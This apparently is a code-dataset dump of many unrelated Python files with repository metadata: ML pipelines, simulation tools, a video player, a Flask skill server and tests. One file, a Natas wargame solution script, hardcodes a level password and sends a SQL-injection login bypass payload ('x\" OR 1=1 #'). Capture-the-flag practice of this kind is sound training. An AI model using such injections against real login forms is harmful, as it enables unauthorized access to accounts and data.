dbf6aa77812d10c2cade78cc48e0686718e02521 | 333 | py | Python | src/Generation/Demo_Helper.py | vin-nag/GANs-n-reels | 11ec339ec6dd13713e128fe498762095cc224d75 | [
"MIT"
] | 12 | 2018-07-14T00:20:41.000Z | 2020-12-08T11:31:26.000Z | src/Generation/Demo_Helper.py | vin-nag/GANs-n-reels | 11ec339ec6dd13713e128fe498762095cc224d75 | [
"MIT"
] | null | null | null | src/Generation/Demo_Helper.py | vin-nag/GANs-n-reels | 11ec339ec6dd13713e128fe498762095cc224d75 | [
"MIT"
] | 2 | 2019-12-17T23:00:34.000Z | 2020-11-20T07:41:40.000Z | from src.Generation.Decoding.Decoding import Decoder
import numpy as np
def demo_helper():
# decoder = Decoder.from_h5()
decoder = Decoder.from_single_vector(np.load("generated_notes.npy"), time="1/16")
decoder.set_time('1/16')
#decoder.play(0)
decoder.save_tune(0)
if __name__ == '__main__':
... | 25.615385 | 85 | 0.705706 | 48 | 333 | 4.5625 | 0.625 | 0.091324 | 0.164384 | 0.127854 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.032028 | 0.156156 | 333 | 13 | 86 | 25.615385 | 0.747331 | 0.126126 | 0 | 0 | 1 | 0 | 0.121107 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.125 | false | 0 | 0.25 | 0 | 0.375 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
dbf6ccc59ba1dbf7d2e4f21856d9ba7c641785e1 | 7,355 | py | Python | autoPyTorch/core/autonet_classes/autonet_image_data.py | lindsey98/Auto-PyTorch | cf753a3f873795c3493253e0bcb1ab8b959d7a84 | [
"Apache-2.0"
] | null | null | null | autoPyTorch/core/autonet_classes/autonet_image_data.py | lindsey98/Auto-PyTorch | cf753a3f873795c3493253e0bcb1ab8b959d7a84 | [
"Apache-2.0"
] | null | null | null | autoPyTorch/core/autonet_classes/autonet_image_data.py | lindsey98/Auto-PyTorch | cf753a3f873795c3493253e0bcb1ab8b959d7a84 | [
"Apache-2.0"
] | null | null | null | import numpy as np
import torch
from autoPyTorch.core.api import AutoNet
__author__ = "Max Dippel, Michael Burkart and Matthias Urban"
__version__ = "0.0.1"
__license__ = "BSD"
class AutoNetImageData(AutoNet):
@classmethod
def get_default_pipeline(cls):
from autoPyTorch.pipeline.base.pipeline impor... | 54.481481 | 129 | 0.745207 | 701 | 7,355 | 7.506419 | 0.249643 | 0.09122 | 0.100532 | 0.117066 | 0.45268 | 0.330293 | 0.321931 | 0.290004 | 0.258077 | 0.249145 | 0 | 0.006674 | 0.18518 | 7,355 | 134 | 130 | 54.88806 | 0.87135 | 0.034398 | 0 | 0.15534 | 0 | 0 | 0.056503 | 0.016909 | 0 | 0 | 0 | 0 | 0 | 1 | 0.019417 | false | 0 | 0.330097 | 0 | 0.368932 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
dbff50acc32229369adbbcc8d757498585378355 | 5,832 | py | Python | video.py | wmodes/sharp-video | 592557d42020e56fdc6d97f18064cab3b721694b | [
"MIT"
] | 2 | 2021-02-04T14:55:58.000Z | 2021-04-09T19:41:53.000Z | video.py | wmodes/exhibitvideo | 592557d42020e56fdc6d97f18064cab3b721694b | [
"MIT"
] | null | null | null | video.py | wmodes/exhibitvideo | 592557d42020e56fdc6d97f18064cab3b721694b | [
"MIT"
] | 1 | 2019-05-12T02:29:49.000Z | 2019-05-12T02:29:49.000Z | #!/usr/bin/python
"""video.py: play and manage threaded video as needed
Author: Wes Modes (wmodes@gmail.com) & SL Benz (slbenzy@gmail.com)
Copyright: 2017, MIT """
# -*- coding: iso-8859-15 -*-
# vim: tabstop=8 expandtab shiftwidth=4 softtabstop=4
from random import choice
import threading
import os
from subprocess i... | 31.187166 | 113 | 0.627058 | 763 | 5,832 | 4.63827 | 0.301442 | 0.027126 | 0.021192 | 0.014411 | 0.10794 | 0.092116 | 0.070076 | 0.050297 | 0.042385 | 0 | 0 | 0.007133 | 0.278807 | 5,832 | 186 | 114 | 31.354839 | 0.834284 | 0.228395 | 0 | 0.104762 | 0 | 0 | 0.069913 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.07619 | null | null | 0.028571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e006bd654e5416f0e1e00e3859a68147932ded4c | 2,752 | py | Python | management/clitool.py | hisundar/ep-engine | 7f7cb5b4a5528c17ae10d2d5bb644885d1cd0837 | [
"Apache-2.0"
] | null | null | null | management/clitool.py | hisundar/ep-engine | 7f7cb5b4a5528c17ae10d2d5bb644885d1cd0837 | [
"Apache-2.0"
] | null | null | null | management/clitool.py | hisundar/ep-engine | 7f7cb5b4a5528c17ae10d2d5bb644885d1cd0837 | [
"Apache-2.0"
] | null | null | null | import optparse
import socket
import sys
import os
import mc_bin_client
class CliTool(object):
def __init__(self, extraUsage=""):
self.cmds = {}
self.flags = {}
self.extraUsage = extraUsage.strip()
self.parser = optparse.OptionParser()
def addCommand(self, name, f, help=None)... | 31.632184 | 80 | 0.52907 | 328 | 2,752 | 4.381098 | 0.35061 | 0.031315 | 0.048713 | 0.039666 | 0.189979 | 0.160752 | 0.160752 | 0.160752 | 0.160752 | 0.160752 | 0 | 0.012236 | 0.346657 | 2,752 | 86 | 81 | 32 | 0.786986 | 0.023983 | 0 | 0.228571 | 0 | 0 | 0.093145 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.071429 | null | null | 0.128571 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e00c4f920a5e7120db0b582ed8def7abef2d07e7 | 2,068 | py | Python | src/skill_server_original.py | han1222/flask_ask_ros | 170d027a2238f99cf492303ec88975b6ece37abb | [
"MIT"
] | null | null | null | src/skill_server_original.py | han1222/flask_ask_ros | 170d027a2238f99cf492303ec88975b6ece37abb | [
"MIT"
] | null | null | null | src/skill_server_original.py | han1222/flask_ask_ros | 170d027a2238f99cf492303ec88975b6ece37abb | [
"MIT"
] | null | null | null | #!/usr/bin/env python
import os
import rospy
import threading
from waitress import serve
from flask import Flask
from flask_ask import Ask, question, statement
from std_msgs.msg import String
app = Flask(__name__)
ask = Ask(app, "/")
# ROS node, publisher, and parameter.
# The node is started in a separate thread to... | 30.411765 | 93 | 0.685687 | 308 | 2,068 | 4.467532 | 0.431818 | 0.02907 | 0.034884 | 0.034884 | 0.164244 | 0.155523 | 0.155523 | 0.155523 | 0.049419 | 0 | 0 | 0.026643 | 0.183269 | 2,068 | 67 | 94 | 30.865672 | 0.78804 | 0.192456 | 0 | 0 | 0 | 0 | 0.213491 | 0.050408 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.2 | null | null | 0.085714 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e00fd898176ca3059d5bd12cebc896c106c99792 | 1,487 | py | Python | final_configs/cifar10_DDTPConv_train.py | manuel-delverme/difference_target_propagation | 3e1630f7304a7367a5116ef3fb7ee9492e3b9065 | [
"Apache-2.0"
] | 15 | 2020-11-04T04:41:14.000Z | 2022-03-13T02:52:25.000Z | final_configs/cifar10_DDTPConv_train.py | manuel-delverme/difference_target_propagation | 3e1630f7304a7367a5116ef3fb7ee9492e3b9065 | [
"Apache-2.0"
] | null | null | null | final_configs/cifar10_DDTPConv_train.py | manuel-delverme/difference_target_propagation | 3e1630f7304a7367a5116ef3fb7ee9492e3b9065 | [
"Apache-2.0"
] | 7 | 2021-01-11T01:33:49.000Z | 2022-01-11T01:16:49.000Z | config = {
'lr': (1.5395901937079718e-05, 4.252664987376195e-05, 9.011700881717918e-05, 0.00026653695086486183),
'target_stepsize': 0.07688144983085089,
'feedback_wd': 5.751527315358352e-07,
'beta1': 0.9,
'beta2': 0.999,
'epsilon': (7.952762675272583e-06, 3.573159556208438e-06, 1.0425400798717413e-08, 2.023264400953111... | 24.783333 | 106 | 0.717552 | 191 | 1,487 | 5.329843 | 0.539267 | 0.035363 | 0.041257 | 0.031434 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.209749 | 0.089442 | 1,487 | 60 | 107 | 24.783333 | 0.542097 | 0.100874 | 0 | 0 | 0 | 0 | 0.456355 | 0.056662 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e016900b6bac7f5224c17586b571c1a3b33fb696 | 19,676 | py | Python | pyroms_toolbox/pyroms_toolbox/remapping.py | dcherian/pyroms | fb5d9adda3afcc4ddbe9f3cf1f0a100d43262c11 | [
"BSD-3-Clause"
] | null | null | null | pyroms_toolbox/pyroms_toolbox/remapping.py | dcherian/pyroms | fb5d9adda3afcc4ddbe9f3cf1f0a100d43262c11 | [
"BSD-3-Clause"
] | null | null | null | pyroms_toolbox/pyroms_toolbox/remapping.py | dcherian/pyroms | fb5d9adda3afcc4ddbe9f3cf1f0a100d43262c11 | [
"BSD-3-Clause"
] | null | null | null | # encoding: utf-8
import os
import numpy as np
import glob
try:
import netCDF4 as netCDF
except:
import netCDF3 as netCDF
import pyroms
import pyroms_toolbox
import _remapping
import matplotlib.pyplot as plt
import datetime
def remapping(varname, srcfile, wts_files, srcgrd, dstgrd, \
rotate_uv=Fa... | 42.132762 | 97 | 0.48582 | 2,232 | 19,676 | 4.111111 | 0.136201 | 0.037162 | 0.010789 | 0.022668 | 0.427855 | 0.344486 | 0.298278 | 0.283021 | 0.244115 | 0.2318 | 0 | 0.024655 | 0.406333 | 19,676 | 466 | 98 | 42.223176 | 0.760894 | 0.069221 | 0 | 0.303835 | 0 | 0 | 0.089158 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | null | 0 | 0.029499 | null | null | 0.082596 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e02084d88bbcbe9e5f6140e16602af6e39192070 | 283 | py | Python | Week 3/3.py | ShruKin/Python-Assignments | f6b5d8b2e23f0d6f68d7acced43a1830c6ecebf3 | [
"MIT"
] | null | null | null | Week 3/3.py | ShruKin/Python-Assignments | f6b5d8b2e23f0d6f68d7acced43a1830c6ecebf3 | [
"MIT"
] | 1 | 2019-11-16T08:40:15.000Z | 2019-11-16T08:40:15.000Z | Week 3/3.py | ShruKin/Python-Assignments | f6b5d8b2e23f0d6f68d7acced43a1830c6ecebf3 | [
"MIT"
] | null | null | null | print("Kinjal Raykarmakar\nSec: CSE2H\tRoll: 29\n")
row = int(input("Enter the number of rows: "))
for i in range(1, row+1):
for j in range(i):
print("*", end=" ")
print()
for i in range(row+1, 0, -1):
for j in range(i):
print("*", end=" ")
print() | 21.769231 | 51 | 0.540636 | 47 | 283 | 3.255319 | 0.510638 | 0.183007 | 0.078431 | 0.143791 | 0.339869 | 0.339869 | 0.339869 | 0.339869 | 0.339869 | 0 | 0 | 0.038095 | 0.257951 | 283 | 13 | 52 | 21.769231 | 0.690476 | 0 | 0 | 0.6 | 0 | 0 | 0.253521 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0 | 0 | 0 | 0.5 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 1 |
e02f08914e20a7aaac650b2158a3283a21eb75d4 | 16,096 | py | Python | tests/test_optimization.py | lei-liu1/OCTIS | 1e8e6be5040b38cf3c458ece4327886dee8568ef | [
"MIT"
] | 340 | 2021-02-23T14:44:52.000Z | 2022-03-28T03:38:55.000Z | tests/test_optimization.py | mpalenciaolivar/OCTIS | 1e8e6be5040b38cf3c458ece4327886dee8568ef | [
"MIT"
] | 50 | 2021-04-19T17:23:10.000Z | 2022-03-16T10:01:49.000Z | tests/test_optimization.py | mpalenciaolivar/OCTIS | 1e8e6be5040b38cf3c458ece4327886dee8568ef | [
"MIT"
] | 30 | 2021-04-19T15:42:53.000Z | 2022-03-21T12:08:47.000Z | """Tests for `octis` package related to Hyper-parameter optimization"""
import json
import os
import pytest
from skopt.space.space import Real
from octis.dataset.dataset import Dataset
from octis.evaluation_metrics.coherence_metrics import Coherence
from octis.evaluation_metrics.classification_metrics import F1Score... | 38.507177 | 119 | 0.66122 | 2,074 | 16,096 | 4.797493 | 0.082932 | 0.057889 | 0.059095 | 0.028945 | 0.756985 | 0.72794 | 0.694573 | 0.67397 | 0.636382 | 0.585327 | 0 | 0.011091 | 0.232604 | 16,096 | 417 | 120 | 38.59952 | 0.794446 | 0.190171 | 0 | 0.526531 | 0 | 0 | 0.108751 | 0.032981 | 0 | 0 | 0 | 0 | 0.297959 | 1 | 0.065306 | false | 0 | 0.036735 | 0.012245 | 0.134694 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e0318787fcef06aa8c713e31a9de7c3456c2dc3e | 703 | py | Python | src/conferences/migrations/0004_auto_20190603_1819.py | skiry/Conference-Management-System | 0c8d6206e910787eb5c0432a5c78579752624ae5 | [
"MIT"
] | 1 | 2020-03-24T13:14:38.000Z | 2020-03-24T13:14:38.000Z | src/conferences/migrations/0004_auto_20190603_1819.py | skiry/Conference-Management-System | 0c8d6206e910787eb5c0432a5c78579752624ae5 | [
"MIT"
] | 8 | 2019-07-03T21:32:20.000Z | 2022-03-11T23:50:59.000Z | src/conferences/migrations/0004_auto_20190603_1819.py | skiry/conference-management-system | 0c8d6206e910787eb5c0432a5c78579752624ae5 | [
"MIT"
] | null | null | null | # Generated by Django 2.0.9 on 2019-06-03 15:19
from django.db import migrations, models
import django.db.models.deletion
class Migration(migrations.Migration):
dependencies = [
('conferences', '0003_section'),
]
operations = [
migrations.AddField(
model_name='conference',
... | 27.038462 | 121 | 0.621622 | 72 | 703 | 5.972222 | 0.597222 | 0.055814 | 0.065116 | 0.102326 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.03861 | 0.263158 | 703 | 25 | 122 | 28.12 | 0.791506 | 0.064011 | 0 | 0.210526 | 1 | 0 | 0.157012 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.105263 | 0 | 0.263158 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e031c01cb0a93f06b65890d75bdf340ffca45ecc | 8,700 | py | Python | neutron/agent/resource_cache.py | mail2nsrajesh/neutron | 352afb37afcf4952f03436b25618d0066c51f3f1 | [
"Apache-2.0"
] | null | null | null | neutron/agent/resource_cache.py | mail2nsrajesh/neutron | 352afb37afcf4952f03436b25618d0066c51f3f1 | [
"Apache-2.0"
] | null | null | null | neutron/agent/resource_cache.py | mail2nsrajesh/neutron | 352afb37afcf4952f03436b25618d0066c51f3f1 | [
"Apache-2.0"
] | null | null | null | # All Rights Reserved.
#
# Licensed under the Apache License, Version 2.0 (the "License"); you may
# not use this file except in compliance with the License. You may obtain
# a copy of the License at
#
# http://www.apache.org/licenses/LICENSE-2.0
#
# Unless required by applicable law or agreed to in... | 44.387755 | 78 | 0.665517 | 1,165 | 8,700 | 4.800858 | 0.272103 | 0.025031 | 0.018595 | 0.025746 | 0.14983 | 0.119971 | 0.084391 | 0.053996 | 0.04005 | 0.027534 | 0 | 0.000622 | 0.261379 | 8,700 | 195 | 79 | 44.615385 | 0.869748 | 0.311609 | 0 | 0.099099 | 0 | 0 | 0.041789 | 0 | 0 | 0 | 0 | 0.010256 | 0 | 1 | 0.126126 | false | 0 | 0.081081 | 0 | 0.342342 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e0376b8791aca24982ee8b65b7cc55265471b1b2 | 138,433 | py | Python | python/amici/ode_export.py | AMICI-dev/AMICI | 4610a608d05731d245218c88015d8017f81087b5 | [
"CC0-1.0"
] | 44 | 2020-09-17T07:12:07.000Z | 2022-02-23T21:25:27.000Z | python/amici/ode_export.py | AMICI-dev/AMICI | 4610a608d05731d245218c88015d8017f81087b5 | [
"CC0-1.0"
] | 589 | 2020-08-07T21:56:42.000Z | 2022-03-31T17:32:27.000Z | python/amici/ode_export.py | AMICI-dev/AMICI | 4610a608d05731d245218c88015d8017f81087b5 | [
"CC0-1.0"
] | 10 | 2020-09-02T09:32:43.000Z | 2022-03-23T12:43:45.000Z | """
C++ Export
----------
This module provides all necessary functionality specify an ODE model and
generate executable C++ simulation code. The user generally won't have to
directly call any function from this module as this will be done by
:py:func:`amici.pysb_import.pysb2amici`,
:py:func:`amici.sbml_import.SbmlImpor... | 34.231701 | 79 | 0.56735 | 15,501 | 138,433 | 4.913489 | 0.081801 | 0.025432 | 0.005199 | 0.006237 | 0.382412 | 0.323631 | 0.266898 | 0.226052 | 0.201513 | 0.176606 | 0 | 0.002622 | 0.341559 | 138,433 | 4,043 | 80 | 34.240168 | 0.832946 | 0.288414 | 0 | 0.250122 | 1 | 0 | 0.148218 | 0.033965 | 0 | 0 | 0 | 0.000247 | 0.000973 | 1 | 0.055474 | false | 0 | 0.016058 | 0 | 0.125547 | 0.013625 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e03b96519c7dfb8ecacaf03ef28c6f7a9a646afd | 554 | py | Python | rest_maestros/serializers.py | Infinityloopsistemas/SIVA | 92b6c82f018d39ef405989639974d1f2757476ed | [
"BSD-3-Clause"
] | null | null | null | rest_maestros/serializers.py | Infinityloopsistemas/SIVA | 92b6c82f018d39ef405989639974d1f2757476ed | [
"BSD-3-Clause"
] | 1 | 2018-09-27T12:07:19.000Z | 2018-10-08T15:56:30.000Z | rest_maestros/serializers.py | Infinityloopsistemas/SIVA | 92b6c82f018d39ef405989639974d1f2757476ed | [
"BSD-3-Clause"
] | 1 | 2018-10-12T13:41:20.000Z | 2018-10-12T13:41:20.000Z | # -*- coding: utf-8 -*-
from django.conf.urls import patterns, url, include
from maestros.models import Terceros
__author__ = 'julian'
from rest_framework import routers, serializers, viewsets
class TercerosSerializer(serializers.HyperlinkedModelSerializer):
class Meta:
model = Terceros
fields = ... | 26.380952 | 130 | 0.750903 | 57 | 554 | 7.210526 | 0.824561 | 0.048662 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.066528 | 0.131769 | 554 | 21 | 131 | 26.380952 | 0.787942 | 0.234657 | 0 | 0 | 0 | 0 | 0.209524 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0 | 0.375 | 0 | 0.625 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
e03db239f4cea5a404f8e42935e57e01d5e87795 | 9,688 | py | Python | tune/dataset_tunenet.py | Kukanani/tune_net_release | 1a34ca160d8283fa8b56f029f1417069748c6cd6 | [
"MIT"
] | 13 | 2019-11-16T10:01:33.000Z | 2021-11-30T10:33:41.000Z | tune/dataset_tunenet.py | Kukanani/tune_net_release | 1a34ca160d8283fa8b56f029f1417069748c6cd6 | [
"MIT"
] | 5 | 2019-10-23T15:53:59.000Z | 2020-03-31T07:33:12.000Z | tune/dataset_tunenet.py | Kukanani/tune_net_release | 1a34ca160d8283fa8b56f029f1417069748c6cd6 | [
"MIT"
] | 5 | 2019-11-07T01:28:57.000Z | 2021-08-31T07:15:06.000Z | #!/usr/bin/env python
#
#
# Generate a "tuning" datset, where each datapoint in the set consists of the information from two bouncing ball
# simulators. Used to train TuneNet.
import os
import os.path as osp
import matplotlib.pyplot as plt
import numpy as np
import torch
import torchvision.transforms as transforms
f... | 43.837104 | 130 | 0.624277 | 1,261 | 9,688 | 4.646312 | 0.189532 | 0.022529 | 0.032429 | 0.0454 | 0.624339 | 0.609319 | 0.574842 | 0.56938 | 0.534221 | 0.519713 | 0 | 0.022544 | 0.258258 | 9,688 | 221 | 131 | 43.837104 | 0.792792 | 0.244323 | 0 | 0.371212 | 1 | 0 | 0.068352 | 0.005931 | 0 | 0 | 0 | 0 | 0 | 1 | 0.098485 | false | 0 | 0.060606 | 0.030303 | 0.280303 | 0.060606 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e03dc6144f0eb2375cae2fbd4595ef9aa46e9e22 | 435 | py | Python | utility/pref.py | hongyuanChrisLi/StartupInsights | 1c0f49d7f05c63af5d59ceb036b0b5af9190218a | [
"Apache-2.0"
] | null | null | null | utility/pref.py | hongyuanChrisLi/StartupInsights | 1c0f49d7f05c63af5d59ceb036b0b5af9190218a | [
"Apache-2.0"
] | null | null | null | utility/pref.py | hongyuanChrisLi/StartupInsights | 1c0f49d7f05c63af5d59ceb036b0b5af9190218a | [
"Apache-2.0"
] | null | null | null | import os
import logging
import sys
import __init__ as init
def get_env_variable(var_name):
"""
Get environment variable or return exception
"""
logging.config.fileConfig('logging.ini')
logger = logging.getLogger(__name__)
try:
return os.environ[var_name]
except KeyError as e:
... | 22.894737 | 76 | 0.696552 | 57 | 435 | 5.035088 | 0.526316 | 0.073171 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.216092 | 435 | 18 | 77 | 24.166667 | 0.841642 | 0.101149 | 0 | 0 | 0 | 0 | 0.114667 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.083333 | false | 0 | 0.333333 | 0 | 0.5 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 1 |
e042031ae5552fcf058dd7f88408a6921f714804 | 1,087 | py | Python | scripts/14.py | JoaquimXG/Natas-CTF | 648a16dd887d9d28dff5c398408652894fa77fc7 | [
"MIT"
] | null | null | null | scripts/14.py | JoaquimXG/Natas-CTF | 648a16dd887d9d28dff5c398408652894fa77fc7 | [
"MIT"
] | null | null | null | scripts/14.py | JoaquimXG/Natas-CTF | 648a16dd887d9d28dff5c398408652894fa77fc7 | [
"MIT"
] | null | null | null | #!/bin/python3
import requests
import re
import html.parser
username = 'natas14'
password = 'Lg96M10TdfaPyVBkJdjymbllQ5L6qdl1'
url = 'http://%s.natas.labs.overthewire.org' % (username)
data = { "username" : "x\" OR 1=1 #", "password" : "testing" }
#files = { "uploadedfile" : open("phpinject13.php", "rb") }
#cookie... | 33.96875 | 88 | 0.729531 | 144 | 1,087 | 5.506944 | 0.625 | 0.007566 | 0.010088 | 0.01261 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.024919 | 0.150874 | 1,087 | 31 | 89 | 35.064516 | 0.834236 | 0.540938 | 0 | 0 | 0 | 0 | 0.298969 | 0.065979 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | false | 0.363636 | 0.272727 | 0 | 0.272727 | 0.090909 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 1 |
e045a97e402d7924956f2038fb2021d2fbca9980 | 607 | py | Python | benderopt/optimizer/random.py | tchar/benderopt | 83a6bbb9c5732f6232c1a1bbc971f8022a975a28 | [
"MIT"
] | 66 | 2019-01-08T14:34:21.000Z | 2020-10-22T00:54:58.000Z | benderopt/optimizer/random.py | tchar/benderopt | 83a6bbb9c5732f6232c1a1bbc971f8022a975a28 | [
"MIT"
] | 4 | 2019-03-03T19:17:26.000Z | 2020-10-22T18:37:30.000Z | benderopt/optimizer/random.py | tchar/benderopt | 83a6bbb9c5732f6232c1a1bbc971f8022a975a28 | [
"MIT"
] | 5 | 2019-04-29T03:28:54.000Z | 2020-10-22T19:45:40.000Z | from .optimizer import BaseOptimizer
class RandomOptimizer(BaseOptimizer):
def __init__(self, optimization_problem):
super(RandomOptimizer, self).__init__(optimization_problem)
def _generate_samples(self, size):
parameters = self.optimization_problem.parameters
draws = [
p... | 37.9375 | 90 | 0.695222 | 68 | 607 | 6 | 0.455882 | 0.186275 | 0.169118 | 0.161765 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0.002114 | 0.220758 | 607 | 15 | 91 | 40.466667 | 0.860465 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 | 0.166667 | false | 0 | 0.083333 | 0 | 0.416667 | 0 | 0 | 0 | 0 | null | 0 | 0 | 1 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | null | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 0 | 1 |
e04ec5bb79e9db4ee7e508f1b864cce7819756c6 | 2,569 | py | Python | dp_tornado/helper/web/email/smtp.py | donghak-shin/dp-tornado | 095bb293661af35cce5f917d8a2228d273489496 | [
"MIT"
] | 18 | 2015-04-07T14:28:39.000Z | 2020-02-08T14:03:38.000Z | dp_tornado/helper/web/email/smtp.py | donghak-shin/dp-tornado | 095bb293661af35cce5f917d8a2228d273489496 | [
"MIT"
] | 7 | 2016-10-05T05:14:06.000Z | 2021-05-20T02:07:22.000Z | dp_tornado/helper/web/email/smtp.py | donghak-shin/dp-tornado | 095bb293661af35cce5f917d8a2228d273489496 | [
"MIT"
] | 11 | 2015-12-15T09:49:39.000Z | 2021-09-06T18:38:21.000Z | # -*- coding: utf-8 -*-
from __future__ import absolute_import
from dp_tornado.engine.helper import Helper as dpHelper
import smtplib
class SmtpSender(object):
def __init__(self, e, host=None, port=None, userid=None, password=None, ehlo=None, tls=False):
self.e = e
self.host = host
